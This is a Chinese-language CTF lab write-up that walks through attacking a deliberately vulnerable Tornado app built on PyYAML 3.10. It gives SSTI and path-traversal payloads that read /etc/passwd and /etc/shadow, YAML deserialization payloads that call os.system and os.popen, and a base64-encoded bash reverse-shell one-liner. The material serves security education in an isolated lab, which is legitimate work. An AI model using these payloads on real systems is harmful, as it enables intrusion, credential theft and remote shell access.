文章目录
- 法律与道德使用声明
- 靶场信息
- 靶场搭建
-
- 安装`docker`以及更换源
- [`docker build`构建镜像](#
docker build
构建镜像) - [`docker run`创建容器并运行](#
docker run
创建容器并运行) - 关于实验中遇到容器出问题
- 靶场研究
-
- tornado库
- PyYAML库
- 代码分析以及攻击思路
-
- [1. Index 路由(/)](#1. Index 路由(/))
- [2. /read 路由(FileRead 类)](#2. /read 路由(FileRead 类))
- [3. /yaml 路由(YamlLoad 类)](#3. /yaml 路由(YamlLoad 类))
- 攻击过程
-
- 根路由------SSTI攻击尝试
- [/read 路由------文件读取漏洞利用](#/read 路由——文件读取漏洞利用)
-
- 文件泄露利用价值说明
- [burp suite使用时注意事项](#burp suite使用时注意事项)
- [/yaml 路由------YAML反序列化攻击](#/yaml 路由——YAML反序列化攻击)
-
- 反弹shell
- 仅利用`curl`发送YAML反序列化`payload`
-
- 方法1:将`payload`写入文本文件中,再用`curl`发送
- 方法2:直接用`curl`发送`payload`
- 关于`payload`中的`filename`参数说明
- 关于无靶机shell环境时的验证
- [借助`burp suite`调试方法](#借助
burp suite
调试方法)
- 相关网站以及参考资料
法律与道德使用声明
本课程/笔记及相关技术内容仅限合法授权场景使用,严禁一切未授权的非法行为!
1. 适用场景限制
- 本课程涉及的 网络安全知识、工具及攻击手法 仅允许在以下场景使用:
- ✅ 授权渗透测试(需获得目标方书面授权)
- ✅ CTF竞赛、攻防演练等合规赛事
- ✅ 封闭实验环境(如本地靶场、虚拟机)
- ✅ 学术研究、技术教学(需确保隔离环境)
- 严禁 用于任何未经授权的真实系统、网络或设备。
2. 法律与道德责任 - 根据《中华人民共和国网络安全法》《刑法》等相关法律法规,未经授权的网络入侵、数据窃取、系统破坏等行为均属违法,可能面临刑事处罚及民事赔偿。
- 使用者需对自身行为负全部责任,课程作者及发布平台不承担任何因滥用技术导致的连带责任。
3. 工具与知识的正当用途 - 防御视角:学习漏洞原理以提升系统防护能力。
- 教育视角:理解攻击手法以培养安全意识与应急响应能力。
- 禁止用途:包括但不限于:
-❌ 入侵他人计算机系统
-❌ 窃取、篡改、删除数据
-❌ 传播恶意软件(木马、勒索病毒等)
-❌ 发起DDoS攻击或网络诈骗
4. 风险自担原则 - 即使在合法授权场景下,操作不当仍可能导致系统崩溃、数据丢失等风险。使用者需自行评估并承担操作后果。
5. 知识产权声明 - 课程中涉及的第三方工具、代码、文档版权归原作者所有,引用时请遵循其许可协议(如GPL、MIT等)。
6. 违法违规后果 - 技术滥用将被依法追责,包括但不限于:
- 行政拘留、罚款(《网络安全法》第27、63条)
- 有期徒刑(《刑法》第285、286条非法侵入/破坏计算机系统罪)
- 终身禁止从事网络安全相关职业
请务必遵守法律法规,技术向善,共同维护网络安全环境!
如发现安全漏洞,请通过合法渠道上报(如CNVD、厂商SRC)
靶场信息
靶场地址:https://www.ctfplus.cn/problem-detail/1865677096978747392/description
靶场搭建
安装docker
以及更换源
本题没有在线实验环境,仅提供DockerFile
以及部署文件(上图python.zip内),需自行docker
搭建。下面以kali
为例:
bash
sudo apt install docker.io # 如未安装docker请先安装
sudo vi /etc/docker/daemon.json # 网上随便找的容器镜像加速源,如已无效请自行更换
======复制下列内容填入,注意不要复制等号所在行=======
{
"registry-mirrors": [
"https://docker.1ms.run"
]
}
===================================================
sudo systemctl daemon-reload && sudo systemctl restart docker # 更换镜像加速重载才会生效
docker build
构建镜像
bash
unzip python.zip
cd python
sudo docker build -t mypython . # 注意这里有个点不要忘记,mypython名字是我随便起的
# 可能因时效性缘故容器镜像加速地址失效,可百度搜索自行更换
镜像构建完毕后可以用sudo docker images
命令进行检查,出现类似下图信息则表示已经构建完成。
docker run
创建容器并运行
先看下压缩包内的文件有个app.py
,预计容器内启动web
应用服务肯定会有个端口,查看web应用端口是多少避免和本机发生冲突,下面的源码内看到是8000
。因为我8000
端口有其他用处,所以用8001
来映射,各位小伙伴可自行酌情调整。
bash
if __name__ == "__main__":
port = 8000
app = make_app()
app.listen(port, '0.0.0.0')
print('[+]The server start at http://0.0.0.0:{}'.format(str(port)))
tornado.ioloop.IOLoop.current().start()
创建容器并启动:sudo docker run -it -d -p 8001:8000 --name mypython mypython
进入容器:sudo docker exec -it mypython bash
(后续要查看攻击结果)
一般情况下,创建并启动容器只要执行一次,如果遇到问题了用启动容器或者重启容器两条命令,所以下面两条命令是容器出问题的时候再使用的
启动容器:sudo docker start mypython
重启容器:sudo docker restart mypython
下面几条命令可用于清理善后或复用镜像
删除容器:sudo docker rm mypython
强制删除:sudo docker rm mypython -f
# 运行中未停止可强制删除
删除镜像:sudo docker rmi mypython
导出镜像:sudo docker save -o xxx.tar mypython:latest
导入镜像:sudo docker load -i xxx.tar
运行容器后浏览器访问 本机网卡ip:8001
并开始实验
关于实验中遇到容器出问题
如发现无法访问本机网卡ip:8001
,请先检查容器的状态status
是否已经退出,如下图Exited
所示,说明容器已经下线,此时可使用启动容器
或者重启容器
两条命令中任一条;重启再次查看状态已经恢复成up
了。注意不要多次重复使用docker run
命令,否则会创建多个容器。
靶场研究
靶场文件结构较简单,具体如下:
bash
┌──(kali㉿kali)-[~/Desktop/python]
└─$ tree
.
├── Dockerfile
├── home
│ └── ctf
│ ├── app.py
│ └── requirements.txt
└── service.sh
查看下靶场的requirements.txt
文件可以看到两个依赖库
bash
tornado==6.0.4
pyyaml == 3.10
tornado库
tornado
是一个Python的Web框架和异步网络库,专为高性能、高并发场景设计,同时具有路由、模板、用户身份验证等功能。因为有模板写入功能,所以这个库和有同样功能的Flask
以及Jinja2
都很容易发生SSTI(Server-Side Template Injection,服务器端模板注入)
,攻击者利用模板引擎的漏洞,将恶意代码注入到服务器端模板中。
PyYAML库
YAML
主要用于数据序列化和配置文件,它是一种轻量级的数据序列化格式。PyYAML
作为Python处理YAML
数据的一个常用库,这个库在5.1版本以前,很容易通过特定标签(如!!python/object)动态创建对象,这可能允许攻击者构造恶意数据来执行任意代码,造成反序列化攻击;而我们看到requirements.txt
文件中的版本只有3.10。
代码分析以及攻击思路
python
class Index(tornado.web.RequestHandler):
def get(self):
black_list = ['{{', '(', ')']
username = self.get_argument('username', 'guest')
if username == 'guest':
return self.write('<h1>Hello {}</h1>'.format(username))
for _black in black_list:
if _black in username:
return self.render_string("error.html")
filename = "{}.html".format(random.randint(1000000, 10000000))
with open(filename, 'w') as f:
f.write("""<html>
<head>
<style>body{font-size: 30px;}</style>
</head>
<body>%s</body>
</html>\n""" % username)
self.render(filename)
os.system('rm {}'.format(filename))
class FileRead(tornado.web.RequestHandler):
def get(self):
filename = self.get_argument('filename')
if filename:
with open(filename, 'r+') as f:
file_text = f.read()
return self.write(file_text)
else:
return self.write('<h1>not filename input</h1>')
class YamlLoad(tornado.web.RequestHandler):
def post(self):
yaml_content = self.get_argument('yaml')
deser_content = yaml.load(yaml_content)
return self.write(deser_content)
def make_app():
return tornado.web.Application([
(r"/", Index),
(r"/read", FileRead),
(r"/yaml",YamlLoad)
])
if __name__ == "__main__":
port = 8000
app = make_app()
app.listen(port, '0.0.0.0')
print('[+]The server start at http://0.0.0.0:{}'.format(str(port)))
tornado.ioloop.IOLoop.current().start()
1. Index 路由(/)
作用 :生成动态 HTML 页面并返回给用户。
流程:
- 从请求参数中获取
username
(默认为guest
) - 若
username
为guest
,直接返回欢迎消息Hello guest
- 若
username
包含黑名单字符,分别是双括号{``{
、左小括号(
,和右小括号)
,返回错误页面error.html
。 - 生成一个随机文件名(如
1234567.html
),将username
的内容写入该文件,生成包含用户名的HTML
页面。渲染该HTML
文件后,立即删除该文件。
攻击思路:
- 用户输入
username
参数,生成HTML
文件,渲染后删除,虽然有黑名单过滤了{``{, (, )
,但可能存在绕过黑名单的SSTI
漏洞。
2. /read 路由(FileRead 类)
作用 :读取服务器本地文件并返回内容。
流程:
- 从请求参数中获取
filename
- 若
filename
存在,以读写模式(r+)打开文件并返回内容。 - 若
filename
不存在,返回错误消息not filename input
。
攻击思路 :绕过黑名单触发 SSTI(服务器端模板注入)
FileRead
类中的with open(filename, 'r+') as f
的filename
是传参传入,未作任何校验也未限制路径,可能导致任意文件读取。
3. /yaml 路由(YamlLoad 类)
作用 :解析并返回 YAML
格式数据。
流程:
- 从
POST
请求参数中获取 yaml 数据。 - 使用
PyYAML
库的yaml.load()
方法反序列化 YAML 内容。 - 返回反序列化后的结果(如字典、列表等 Python 对象)。
攻击思路:低版本PyYAML 反序列化漏洞`
- 恶意 YAML 构造
攻击过程
根路由------SSTI攻击尝试
- 利用工具
curl
/hackbar
类插件 /burp suite
均可 - 因代码中过滤了双花括号,和小括号,尚有
{% %}
可以利用
漏洞原理 :
Tornado模板引擎允许使用 {% %}
执行控制语句。由于黑名单仅过滤 {``{
、(
、)
,未限制 {%
,可通过文件包含语法读取敏感文件。
payload1:
bash
curl http://192.168.126.146:8001/?username=%7B%25%20extends%20%22/etc/passwd%22%25%7D
# 使用-G表示GET请求,--data-urlencode自动编码参数
curl -G http://192.168.126.146:8001/ --data-urlencode "username={% extends '/etc/passwd'%}"
两条payload
核心原理一样,区别在于我们先手工编码,或让curl
自动对参数值进行URL编码
payload2:http://192.168.126.146:8001/?username={% include "/etc/shadow"%}
借用hackbar
发送payload
因过滤了花括号和小括号,注入命令执行未能够成功,有大神能绕过的话麻烦告知下,感激不尽~~
/read 路由------文件读取漏洞利用
payload:http://192.168.126.146:8001/read?filename=../../etc/shadow
文件泄露利用价值说明
有黑盒测试经验的小伙伴可能会查询下面这种文件,我们查询到web服务启动命令是python3 /home/ctf/app.py
,web
程序绝对路径暴露导致代码泄露,会进一步增加供给面。此外linux
系统中还有多个敏感文件,可以利用靶场环境一一枚举进行学习。
burp suite使用时注意事项
burp suite
发送请求时,有时末尾需要有两个连续的\r\n(下图红线),否则会没有响应
发送前burp suite
可以开启显示的show non-printable chars
检查(下图红框处)
/yaml 路由------YAML反序列化攻击
payload1:
bash
POST /yaml HTTP/1.1
Host: 192.168.126.146:8001
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 131
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="yaml"
- !!python/object/new:logging.LogRecord
listitems: !!str 'touch /tmp/success'
state:
tag: !!str dummy
value: !!str dummy
extend: !!python/name:os.system
------WebKitFormBoundary7MA4YWxkTrZu0gW--
我们先使用sudo docker exec -it mypython bash
进入容器,然后使用watch -n 1 'ls /tmp'
对容器内/tmp
目录的文件进行跟踪,使用上面的payload
发送后可以看到以及在/tmp
目录下touch
了success
文件。
下面几个payload
也可利用,各位小伙伴可自行尝试:
bash
- !!python/object/new:os.system ["touch /tmp/success1"]
- !!python/object/new:os.popen ["touch /tmp/success3"]
- !!python/object/apply:os.system ["touch /tmp/success-1"]
- !!python/object/apply:os.popen ["touch /tmp/success-3"]
反弹shell
将上述payload
的touch /tmp/xxx
替换成
bash
# Base64解码后命令:/bin/bash -i >& /dev/tcp/攻击者IP/端口 0>&1
echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTI2LjE0Ni85OTk5IDA+JjE=' | base64 -d | bash
可以拿到容器的shell
权限,可借助下面的反弹shell网站。
反弹shell网站https://revshells.com,用base64
编码
仅利用curl
发送YAML反序列化payload
假设场景不允许使用burp suite
,我们只能用curl
发送payload
的话,我们可以用下面的方法:
方法1:将payload
写入文本文件中,再用curl
发送
bash
curl -X POST 'http://192.168.126.146:8001/yaml' \
-F "[email protected];filename="

方法2:直接用curl
发送payload
bash
curl -X POST 'http://192.168.126.146:8001/yaml' \
-F 'yaml=payload: !!python/object/apply:os.popen ["touch /tmp/success999"];filename='

关于payload
中的filename
参数说明
上图中payload
中不写filename
参数,或者写了参数再赋值文件名都会Bad Request
,只有留空值再可以顺利执行命令。
关于无靶机shell环境时的验证
可以开启nginx
服务后让靶机访问web服务产生日志,apache2
服务器或者dnslog.cn
也都可以,如发生访问记录证明可以执行命令。
借助burp suite
调试方法
实验过程中如遇到问题,curl
可以通过本地代理让burp suite
抓包调试
bash
curl -X POST 'http://192.168.126.146:8001/yaml' \
--proxy 'http://127.0.0.1:8080' \
-F 'yaml=payload: !!python/object/apply:os.popen ["touch /tmp/success999"];filename='

相关网站以及参考资料
反弹shell网站:https://www.revshells.com/
coke说AI大模型大佬的:PyYaml反序列化漏洞详解
Werqy3大佬的:PYYAML反序列化详解